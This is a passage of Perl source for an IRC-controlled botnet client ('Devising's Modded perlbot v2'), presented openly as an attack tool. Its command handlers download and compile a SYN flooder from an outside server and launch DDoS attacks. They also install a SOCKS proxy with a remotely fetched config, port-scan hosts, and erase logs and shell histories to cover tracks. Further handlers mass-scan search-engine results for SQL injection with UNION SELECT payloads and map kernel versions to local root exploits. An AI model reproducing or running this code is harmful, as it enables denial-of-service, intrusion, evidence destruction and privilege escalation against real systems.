  851. if ($1 !~ m/milw0rm.com|exploits|en/){
  852.  
  853. push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  854.  
  855. }
  856.  
  857. }
  858.  
  859. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 Latest exploits :");
  860.  
  861. foreach $x (0..(@ltt - 1)) {
  862.  
  863. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 $bug[$x] - $ltt[$x]");
  864.  
  865. sleep 1;
  866.  
  867. }
  868.  
  869. }
  870.  
  871. ######################
  872.  
  873. # Devisings shit #
  874.  
  875. ######################
  876.  
  877. #######################
  878.  
  879. # Version info #
  880.  
  881. #######################
  882.  
  883. if ($funcarg =~ /^version/) {
  884.  
  885. sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Version4:.12|4 Devising's Modded perlbot v2.");
  886.  
  887. }
  888.  
  889. #######################
  890.  
  891. # End of Version info #
  892.  
  893. #######################
  894.  
  895. #some links could be dead just updated there public scripts noob
  896.  
  897. if ($funcarg =~ /^install-syn/) {
  898.  
  899. sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Installing Syn4:.12|4 Please wait...");
  900.  
  901. system 'cd /root';
  902.  
  903. system 'wget http://server.perpetual.pw/syn.c';
  904.  
  905. system 'gcc -o syn syn.c -pthread';
  906.  
  907. system 'rm -rf syn.c';
  908.  
  909. sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Installing Syn4:.12|4|--Syn is now installed and compiled :)");
  910.  
  911. }
  912.  
  913.  
  914.  
  915. if ($funcarg =~ /^syn\s+(.*)\s+(\d+)\s+(\d+)/) {
  916.  
  917. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3SYN DDoS12:.4|12 Attacking 4 ".$1.":".$2."12 for 4 ".$3." 12 seconds.");
  918.  
  919. system "cd /root";
  920.  
  921. system "./syn ".$1." ".$2." ".$3." ";
  922.  
  923. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3SYN DDoS12:.4|12 Attack Finished 4");
  924.  
  925. }
  926.  
  927.  
  928.  
  929.  
  930.  
  931.  
  932.  
  933. ######################
  934.  
  935. # End of Devisings #
  936.  
  937. # Shit #
  938.  
  939. ######################
  940.  
  941.  
  942.  
  943.  
  944.  
  945. ######################
  946.  
  947. # Portscan #
  948.  
  949. ######################
  950.  
  951.  
  952.  
  953. if ($funcarg =~ /^portscan (.*)/) {
  954.  
  955. my $hostip="$1";
  956.  
  957. @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  958.  
  959. my (@aberta, %porta_banner);
  960.  
  961. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Scanning for open ports on ".$1." 12 started .");
  962.  
  963. foreach my $porta (@portas) {
  964.  
  965. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  966.  
  967. 'tcp', Timeout => 4);
  968.  
  969. if ($scansock) {
  970.  
  971. push (@aberta, $porta);
  972.  
  973. $scansock->close;
  974.  
  975. }
  976.  
  977. }
  978.  
  979.  
  980.  
  981. if (@aberta) {
  982.  
  983. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Open ports founded: @aberta");
  984.  
  985. } else {
  986.  
  987. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] No open ports foundend.");
  988.  
  989. }
  990.  
  991. }
  992.  
  993.  
  994.  
  995. ######################
  996. # End of Portscan #
  997.  
  998. #####################
  999.  
  1000. #####################
  1001.  
  1002. # Chk The News from PacketStorm#
  1003.  
  1004. ######################
  1005.  
  1006. if ($funcarg =~ /^packetstorm/) {
  1007.  
  1008. my $c=0;
  1009.  
  1010. my $x;
  1011.  
  1012. my @ttt=();
  1013.  
  1014. my @ttt1=();
  1015.  
  1016. my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;
  1017.  
  1018. print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  1019.  
  1020. print $sock "Host: www.packetstormsecurity.org\r\n";
  1021.  
  1022. print $sock "Accept: */*\r\n";
  1023.  
  1024. print $sock "User-Agent: Mozilla/5.0\r\n\r\n";
  1025.  
  1026. my @r = <$sock>;
  1027.  
  1028. $page="@r";
  1029.  
  1030. close($sock);
  1031.  
  1032. while ($page =~ m/<link>(.*)<\/link>/g)
  1033.  
  1034. {
  1035.  
  1036. push(@ttt,$1);
  1037.  
  1038. }
  1039.  
  1040. while ($page =~ m/<description>(.*)<\/description>/g)
  1041.  
  1042. {
  1043.  
  1044. push(@ttt1,$1);
  1045.  
  1046. }
  1047.  
  1048. foreach $x (0..(@ttt - 1))
  1049.  
  1050. {
  1051.  
  1052. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3PacketStorm12] ".$ttt[$x]." ".$ttt1[$x]."");
  1053.  
  1054. sleep 3;
  1055.  
  1056. $c++;
  1057.  
  1058. }
  1059.  
  1060. }
  1061.  
  1062. ######################
  1063.  
  1064. #Auto Install Socks V5 using Mocks#
  1065.  
  1066. ######################
  1067.  
  1068. if ($funcarg =~ /^socks5/) {
  1069.  
  1070.  
  1071.  
  1072. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Installing Mocks please wait4");
  1073.  
  1074. system 'cd /tmp';
  1075.  
  1076. system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  1077.  
  1078. system 'tar -xvfz mocks-0.0.2.tar.gz';
  1079.  
  1080. system 'rm -rf mocks-0.0.2.tar.gz';
  1081.  
  1082. system 'cd mocks-0.0.2';
  1083.  
  1084. system 'rm -rf mocks.conf';
  1085.  
  1086. system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  1087.  
  1088. system 'touch mocks.log';
  1089.  
  1090. system 'chmod 0 mocks.log';
  1091.  
  1092. sleep(2);
  1093.  
  1094. system './mocks start';
  1095.  
  1096. sleep(4);
  1097.  
  1098. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Looks like its succesfully installed lets do the last things4 ");
  1099.  
  1100.  
  1101.  
  1102. #lets grab ip
  1103.  
  1104. $net = `/sbin/ifconfig | grep 'eth0'`;
  1105.  
  1106. if (length($net))
  1107.  
  1108. {
  1109.  
  1110. $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  1111.  
  1112. if (!length($net))
  1113.  
  1114. {
  1115.  
  1116. $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  1117.  
  1118. }
  1119.  
  1120. if (length($net))
  1121.  
  1122. {
  1123.  
  1124. chop($net);
  1125.  
  1126. @netip = split/:/,$net;
  1127.  
  1128. $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  1129.  
  1130. $ip = $1 .".". $2 .".". $3 .".". $4;
  1131.  
  1132.  
  1133.  
  1134. #and print it ^^
  1135.  
  1136. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] Connect here :4 ". $ip .":8787 ");
  1137.  
  1138. }
  1139.  
  1140. else
  1141.  
  1142. {
  1143.  
  1144. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] IP not founded ");
  1145.  
  1146. }
  1147.  
  1148. }
  1149.  
  1150. else
  1151.  
  1152. {
  1153.  
  1154. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
  1155.  
  1156. }
  1157.  
  1158. }
  1159.  
  1160. ######################
  1161.  
  1162. # Nmap #
  1163.  
  1164. ######################
  1165.  
  1166. if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  1167.  
  1168. my $hostip="$1";
  1169.  
  1170. my $portstart = "$2";
  1171.  
  1172. my $portend = "$3";
  1173.  
  1174. my (@abertas, %porta_banner);
  1175.  
  1176. sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan 12:. 4| 4: $1:. |.: 4Ports 12:. 4 $2-$3");
  1177.  
  1178. foreach my $porta ($portstart..$portend){
  1179.  
  1180. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  1181.  
  1182. if ($scansock) {
  1183.  
  1184. push (@abertas, $porta);
  1185.  
  1186. $scansock->close;
  1187.  
  1188. if ($xstats){
  1189.  
  1190. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan :. |Founded 4 $porta"."/Open");
  1191.  
  1192. }
  1193.  
  1194. }
  1195.  
  1196. }
  1197.  
  1198. if (@abertas) {
  1199.  
  1200. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan 12:. 4| Complete ");
  1201.  
  1202. } else {
  1203.  
  1204. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan 12:. 4| No open ports have been founded 13");
  1205.  
  1206. }
  1207.  
  1208. }
  1209.  
  1210. ######################
  1211.  
  1212. # End of Nmap #
  1213.  
  1214. ######################
  1215.  
  1216. ######################
  1217.  
  1218. # Log Cleaner #
  1219.  
  1220. ######################
  1221.  
  1222. if ($funcarg =~ /^logcleaner/) {
  1223.  
  1224. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | Sorry our masters, nigga gotta big dick");
  1225.  
  1226. }
  1227.  
  1228. if ($funcarg =~ /^Cleandabitch/) {
  1229.  
  1230. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | This process can be long, just wait");
  1231.  
  1232. system 'rm -rf /var/log/lastlog';
  1233.  
  1234. system 'rm -rf /var/log/wtmp';
  1235.  
  1236. system 'rm -rf /etc/wtmp';
  1237.  
  1238. system 'rm -rf /var/run/utmp';
  1239.  
  1240. system 'rm -rf /etc/utmp';
  1241.  
  1242. system 'rm -rf /var/log';
  1243.  
  1244. system 'rm -rf /var/logs';
  1245.  
  1246. system 'rm -rf /var/adm';
  1247.  
  1248. system 'rm -rf /var/apache/log';
  1249.  
  1250. system 'rm -rf /var/apache/logs';
  1251.  
  1252. system 'rm -rf /usr/local/apache/log';
  1253.  
  1254. system 'rm -rf /usr/local/apache/logs';
  1255.  
  1256. system 'rm -rf /root/.bash_history';
  1257.  
  1258. system 'rm -rf /root/.ksh_history';
  1259.  
  1260. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | All default log and bash_history files erased");
  1261.  
  1262. sleep 1;
  1263.  
  1264. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | Now Erasing the rest of the machine log files");
  1265.  
  1266. system 'find / -name *.bash_history -exec rm -rf {} \;';
  1267.  
  1268. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  1269.  
  1270. system 'find / -name "log*" -exec rm -rf {} \;';
  1271.  
  1272. system 'find / -name *.log -exec rm -rf {} \;';
  1273.  
  1274. sleep 1;
  1275.  
  1276. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | Done! All logs erased");
  1277.  
  1278. }
  1279.  
  1280. ######################
  1281.  
  1282. # End of Log Cleaner #
  1283.  
  1284. ######################
  1285.  
  1286. ######################
  1287.  
  1288. # SQL SCANNER #
  1289.  
  1290. ######################
  1291.  
  1292.  
  1293.  
  1294. if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){
  1295.  
  1296. if (my $pid = fork) {
  1297.  
  1298. waitpid($pid, 0);
  1299.  
  1300. } else {
  1301.  
  1302. if (my $d=fork()) {
  1303.  
  1304. addproc($d,"[SQL2] $2");
  1305.  
  1306. exit;
  1307.  
  1308. } else {
  1309.  
  1310.  
  1311.  
  1312. my $bug=$1;
  1313.  
  1314. my $dork=$2;
  1315.  
  1316. my $contatore=0;
  1317.  
  1318. my ($type,$space);
  1319.  
  1320. my %hosts;
  1321.  
  1322. my $columns=$3;
  1323.  
  1324.  
  1325.  
  1326. ### Start Message
  1327.  
  1328. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Starting Scan for 4$bug $dork");
  1329.  
  1330. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Initializing on 45 12Search Engines ");
  1331.  
  1332. ### End of Start Message
  1333.  
  1334. # Starting Google
  1335.  
  1336. my @glist=&google($dork);
  1337.  
  1338. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3SQL-Scanner12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1339.  
  1340. my @mlist=&msn($dork);
  1341.  
  1342. my @asklist=&ask($dork);
  1343.  
  1344. my @allist=&alltheweb($dork);
  1345.  
  1346. my @aollist=&aol($dork);
  1347.  
  1348. my @lycos=&lycos($dork);
  1349.  
  1350. my @ylist=&yahoo($dork);
  1351.  
  1352. my @mzlist=&mozbot($dork);
  1353.  
  1354. my @mamalist&mamma($dork);
  1355.  
  1356. my @hlist=&hotbot($dork);
  1357.  
  1358. my @altlist=&altavista($dork);
  1359.  
  1360. my @slist=&search($dork);
  1361.  
  1362. my @ulist=&uol($dork);
  1363.  
  1364. my @fireball=&fireball($dork);
  1365.  
  1366. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1367.  
  1368. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MSN 7[".scalar(@mlist)."7] Sites");
  1369.  
  1370. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  1371.  
  1372. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  1373.  
  1374. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AOL 7[".scalar(@aollist)."7] Sites");
  1375.  
  1376. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  1377.  
  1378. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  1379.  
  1380. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  1381.  
  1382. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  1383.  
  1384. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  1385.  
  1386. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  1387.  
  1388. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  1389.  
  1390. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 UoL 7[".scalar(@ulist)."7] Sites");
  1391.  
  1392. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 FireBall 7[".scalar(@flist)."7] Sites");
  1393.  
  1394.  
  1395.  
  1396. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  1397.  
  1398.  
  1399.  
  1400. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Filtruje4 ][ ".scalar(@tot)." 12Stron4 ] ");
  1401.  
  1402. my @puliti=&unici(@tot);
  1403.  
  1404.  
  1405.  
  1406. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ SQL ] [ 12$dork4 ][ ".scalar(@puliti)." 12Stron4 ] ");
  1407.  
  1408.  
  1409.  
  1410. my $uni=scalar(@puliti);
  1411.  
  1412.  
  1413.  
  1414. foreach my $sito (@puliti) {
  1415.  
  1416.  
  1417.  
  1418. $contatore++;
  1419.  
  1420. if ($contatore %5==0){
  1421.  
  1422. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Skanuje4 ][ ".$contatore." 12z4 ".$uni. " 12Stron4 ] ");
  1423.  
  1424. }
  1425.  
  1426. sleep 3;
  1427.  
  1428. if ($contatore==$uni-1){
  1429.  
  1430. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Koniec:4 $bug $dork ] ");
  1431.  
  1432. }
  1433.  
  1434. sleep 3;
  1435.  
  1436. my $site="http://".$sito.$bug;
  1437.  
  1438. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  1439.  
  1440.  
  1441.  
  1442. $w=int rand(999);
  1443.  
  1444. $w=$w*1000;
  1445.  
  1446. for($i=1;$i<=$columns;$i++) {
  1447.  
  1448. splice(@col,0,$#col+1);
  1449.  
  1450. for($j=1;$j<=$i;$j++) {
  1451.  
  1452. push(@col,$w+$j);
  1453.  
  1454. }
  1455.  
  1456. $tmp=join(",",@col);
  1457.  
  1458. $test=$site."-1+UNION+SELECT+".$tmp."/*";
  1459.  
  1460. print $test."\n";
  1461.  
  1462. $result=get_html($test);
  1463.  
  1464. $result =~ s/\/\*\*\///g;
  1465.  
  1466. $result =~ s/UNION([^(\*)]*)//g;
  1467.  
  1468. for($k=1;$k<=$i;$k++) {
  1469.  
  1470. $n=$w+$k;
  1471.  
  1472. if($result =~ /$n/){
  1473.  
  1474. splice(@col2,0,$#col2+1);
  1475.  
  1476. for($s=1;$s<=$i;$s++) {
  1477.  
  1478. push(@col2,$s);
  1479.  
  1480. }
  1481.  
  1482. $tmp2=join(",",@col2);
  1483.  
  1484. $test2="+UNION+SELECT+".$tmp2."/*";
  1485.  
  1486. push @{$dane{$test2}},$k;
  1487.  
  1488. }
  1489.  
  1490. }
  1491.  
  1492. }
  1493.  
  1494. for $klucz (keys %dane) {
  1495.  
  1496. foreach $i(@{$dane{$klucz}}) {
  1497.  
  1498. $klucz =~ s/$i/$i/;
  1499.  
  1500. }
  1501.  
  1502. sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [ ".$site."-1".$klucz." ]  ");
  1503.  
  1504. }
  1505.  
  1506. %dane=();
  1507.  
  1508. }
  1509.  
  1510. }
  1511.  
  1512. delproc($$);
  1513.  
  1514. exit;
  1515.  
  1516. }
  1517.  
  1518. }
  1519.  
  1520. ####### SQL SCANNER #########
  1521.  
  1522.  
  1523.  
  1524. if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){
  1525.  
  1526. if (my $pid = fork) {
  1527.  
  1528. waitpid($pid, 0);
  1529.  
  1530. } else {
  1531.  
  1532. if (my $d=fork()) {
  1533.  
  1534. addproc($d,"[String] $2");
  1535.  
  1536. exit;
  1537.  
  1538. } else {
  1539.  
  1540. $kto = $1;
  1541.  
  1542. $host = $2;
  1543.  
  1544. $skrypt = $3;
  1545.  
  1546. $czekac=$4;
  1547.  
  1548.  
  1549.  
  1550. #http://ttl.ugu.pl/string/index.php
  1551.  
  1552. my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;
  1553.  
  1554. print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1555.  
  1556.  
  1557.  
  1558. my @r = <$socke>;
  1559.  
  1560. $page="@r";
  1561.  
  1562.  
  1563.  
  1564. $page =~ s/!scan(\s+)//g;
  1565.  
  1566. $page =~ s/!scan(.)//g;
  1567.  
  1568. $page =~ s/\<.*\>//g;
  1569.  
  1570.  
  1571.  
  1572. @lines = split (/\n/, $page);
  1573.  
  1574. $ile=scalar(@lines);
  1575.  
  1576.  
  1577.  
  1578.  
  1579.  
  1580. for($i=9;$i<=$ile;$i+=4) {
  1581.  
  1582.  
  1583.  
  1584. for($j=0;$j<4;$j++) {
  1585.  
  1586. #print $lines[$i+$j]."\n";
  1587.  
  1588.  
  1589.  
  1590. sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");
  1591.  
  1592.  
  1593.  
  1594. sleep 10;
  1595.  
  1596. }
  1597.  
  1598.  
  1599.  
  1600. sleep $czekac*60;
  1601.  
  1602. }
  1603.  
  1604.  
  1605.  
  1606. }
  1607.  
  1608. delproc($$);
  1609.  
  1610. exit;
  1611.  
  1612. }
  1613.  
  1614. }
  1615.  
  1616.  
  1617.  
  1618.  
  1619.  
  1620.  
  1621.  
  1622.  
  1623.  
  1624.  
  1625.  
  1626. ####### SQL SCANNER #########
  1627.  
  1628.  
  1629.  
  1630. if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){
  1631.  
  1632. if (my $pid = fork()) {
  1633.  
  1634. waitpid($pid, 0);
  1635.  
  1636. } else {
  1637.  
  1638. if (my $d=fork()) {
  1639.  
  1640. addproc($d,"[SQL1] $1 $2");
  1641.  
  1642. exit;
  1643.  
  1644. } else {
  1645.  
  1646. my $site=$1;
  1647.  
  1648. my $columns=$2;
  1649.  
  1650. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  1651.  
  1652.  
  1653.  
  1654. $w=int rand(999);
  1655.  
  1656. $w=$w*1000;
  1657.  
  1658. for($i=1;$i<=$columns;$i++) {
  1659.  
  1660. splice(@col,0,$#col+1);
  1661.  
  1662. for($j=1;$j<=$i;$j++) {
  1663.  
  1664. push(@col,$w+$j);
  1665.  
  1666. }
  1667.  
  1668. $tmp=join(",",@col);
  1669.  
  1670. $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";
  1671.  
  1672. #$result=query($test);
  1673.  
  1674. $result=get_html($test);
  1675.  
  1676.  
  1677.  
  1678. $result =~ s/\/\*\*\///g;
  1679.  
  1680. $result =~ s/UNION([^(\*)]*)//g;
  1681.  
  1682. for($k=1;$k<=$i;$k++) {
  1683.  
  1684. $n=$w+$k;
  1685.  
  1686. if($result =~ /$n/){
  1687.  
  1688. splice(@col2,0,$#col2+1);
  1689.  
  1690. for($s=1;$s<=$i;$s++) {
  1691.  
  1692. push(@col2,$s);
  1693.  
  1694. }
  1695.  
  1696. $tmp2=join(",",@col2);
  1697.  
  1698. $test2="+UNION+SELECT+".$tmp2."/*";
  1699.  
  1700. push @{$dane{$test2}},$k;
  1701.  
  1702. }
  1703.  
  1704. }
  1705.  
  1706. }
  1707.  
  1708. for $klucz (keys %dane) {
  1709.  
  1710. foreach $i(@{$dane{$klucz}}) {
  1711.  
  1712. $klucz =~ s/$i/$i/;
  1713.  
  1714. }
  1715.  
  1716. sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [ ".$site.$bug."-1".$klucz." ]  ");
  1717.  
  1718. }
  1719.  
  1720. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] ");
  1721.  
  1722. }
  1723.  
  1724. delproc($$);
  1725.  
  1726. exit;
  1727.  
  1728. }
  1729.  
  1730. }
  1731.  
  1732. ####### SQL SCANNER #########
  1733.  
  1734. ######################
  1735.  
  1736. # Rootable #
  1737.  
  1738. ######################
  1739.  
  1740. if ($funcarg =~ /^rootable/) {
  1741.  
  1742. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12]::::... Nah tho ");
  1743.  
  1744. }
  1745.  
  1746. if ($funcarg =~ /^rootme/) {
  1747.  
  1748. my $khost = `uname -r`;
  1749.  
  1750. my $currentid = `whoami`;
  1751.  
  1752. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Currently you are ".$currentid." ");
  1753.  
  1754. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] The kernel of this zr is ".$khost." ");
  1755.  
  1756. chomp($khost);
  1757.  
  1758.  
  1759.  
  1760. my %h;
  1761.  
  1762. $h{'w00t'} = {
  1763.  
  1764. vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']
  1765.  
  1766. };
  1767.  
  1768.  
  1769.  
  1770. $h{'brk'} = {
  1771.  
  1772. vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']
  1773.  
  1774. };
  1775.  
  1776.  
  1777.  
  1778. $h{'ave'} = {
  1779.  
  1780. vuln=>['2.4.19','2.4.20']
  1781.  
  1782. };
  1783.  
  1784.  
  1785.  
  1786. $h{'elflbl'} = {
  1787.  
  1788. vuln=>['2.4.29']
  1789.  
  1790. };
  1791.  
  1792.  
  1793.  
  1794. $h{'elfdump'} = {
  1795.  
  1796. vuln=>['2.4.27']
  1797.  
  1798. };
  1799.  
  1800.  
  1801.  
  1802. $h{'expand_stack'} = {
  1803.  
  1804. vuln=>['2.4.29']
  1805.  
  1806. };
  1807.  
  1808.  
  1809.  
  1810. $h{'h00lyshit'} = {
  1811.  
  1812. vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  1813.  
  1814. };
  1815.  
  1816.  
  1817.  
  1818. $h{'kdump'} = {
  1819.  
  1820. vuln=>['2.6.13']
  1821.  
  1822. };
  1823.  
  1824.  
  1825.  
  1826. $h{'km2'} = {
  1827.  
  1828. vuln=>['2.4.18','2.4.22']
  1829.  
  1830. };
  1831.  
  1832.  
  1833.  
  1834. $h{'krad'} = {
  1835.  
  1836. vuln=>['2.6.11']
  1837.  
  1838. };
  1839.  
  1840.  
  1841.  
  1842. $h{'krad3'} = {
  1843.  
  1844. vuln=>['2.6.11','2.6.9']
  1845.  
  1846. };
  1847.  
  1848.  
  1849.  
  1850. $h{'local26'} = {
  1851.  
  1852. vuln=>['2.6.13']
  1853.  
  1854. };
  1855.  
  1856.  
  1857.  
  1858. $h{'loko'} = {
  1859.  
  1860. vuln=>['2.4.22','2.4.23','2.4.24']
  1861.  
  1862. };
  1863.  
  1864.  
  1865.  
  1866. $h{'mremap_pte'} = {
  1867.  
  1868. vuln=>['2.4.20','2.2.25','2.4.24']
  1869.  
  1870. };
  1871.  
  1872.  
  1873.  
  1874. $h{'newlocal'} = {
  1875.  
  1876. vuln=>['2.4.17','2.4.19','2.4.18']
  1877.  
  1878. };
  1879.  
  1880.  
  1881.  
  1882. $h{'ong_bak'} = {
  1883.  
  1884. vuln=>['2.4.','2.6.']
  1885.  
  1886. };
  1887.  
  1888.  
  1889.  
  1890. $h{'ptrace'} = {
  1891.  
  1892. vuln=>['2.2.','2.4.22']
  1893.  
  1894. };
  1895.  
  1896.  
  1897.  
  1898. $h{'ptrace_kmod'} = {
  1899.  
  1900. vuln=>['2.4.2']
  1901.  
  1902. };
  1903.  
  1904.  
  1905.  
  1906. $h{'ptrace24'} = {
  1907.  
  1908. vuln=>['2.4.9']
  1909.  
  1910. };
  1911.  
  1912.  
  1913.  
  1914. $h{'pwned'} = {
  1915.  
  1916. vuln=>['2.4.','2.6.']
  1917.  
  1918. };
  1919.  
  1920.  
  1921.  
  1922. $h{'py2'} = {
  1923.  
  1924. vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']
  1925.  
  1926. };
  1927.  
  1928.  
  1929.  
  1930. $h{'raptor_prctl'} = {
  1931.  
  1932. vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']
  1933.  
  1934. };
  1935.  
  1936.  
  1937.  
  1938. $h{'prctl3'} = {
  1939.  
  1940. vuln=>['2.6.13','2.6.17','2.6.9']
  1941.  
  1942. };
  1943.  
  1944.  
  1945.  
  1946. $h{'remap'} = {
  1947.  
  1948. vuln=>['2.4.']
  1949.  
  1950. };
  1951.  
  1952.  
  1953.  
  1954. $h{'rip'} = {
  1955.  
  1956. vuln=>['2.2.']
  1957.  
  1958. };
  1959.  
  1960.  
  1961.  
  1962. $h{'stackgrow2'} = {
  1963.  
  1964. vuln=>['2.4.29','2.6.10']
  1965.  
  1966. };
  1967.  
  1968.  
  1969.  
  1970. $h{'uselib24'} = {
  1971.  
  1972. vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']
  1973.  
  1974. };
  1975.  
  1976.  
  1977.  
  1978. $h{'newsmp'} = {
  1979.  
  1980. vuln=>['2.6.']
  1981.  
  1982. };
  1983.  
  1984.  
  1985.  
  1986. $h{'smpracer'} = {
  1987.  
  1988. vuln=>['2.4.29']
  1989.  
  1990. };
  1991.  
  1992.  
  1993.  
  1994. $h{'loginx'} = {
  1995.  
  1996. vuln=>['2.4.22']
  1997.  
  1998. };
  1999.  
  2000.  
  2001.  
  2002. $h{'exp.sh'} = {
  2003.  
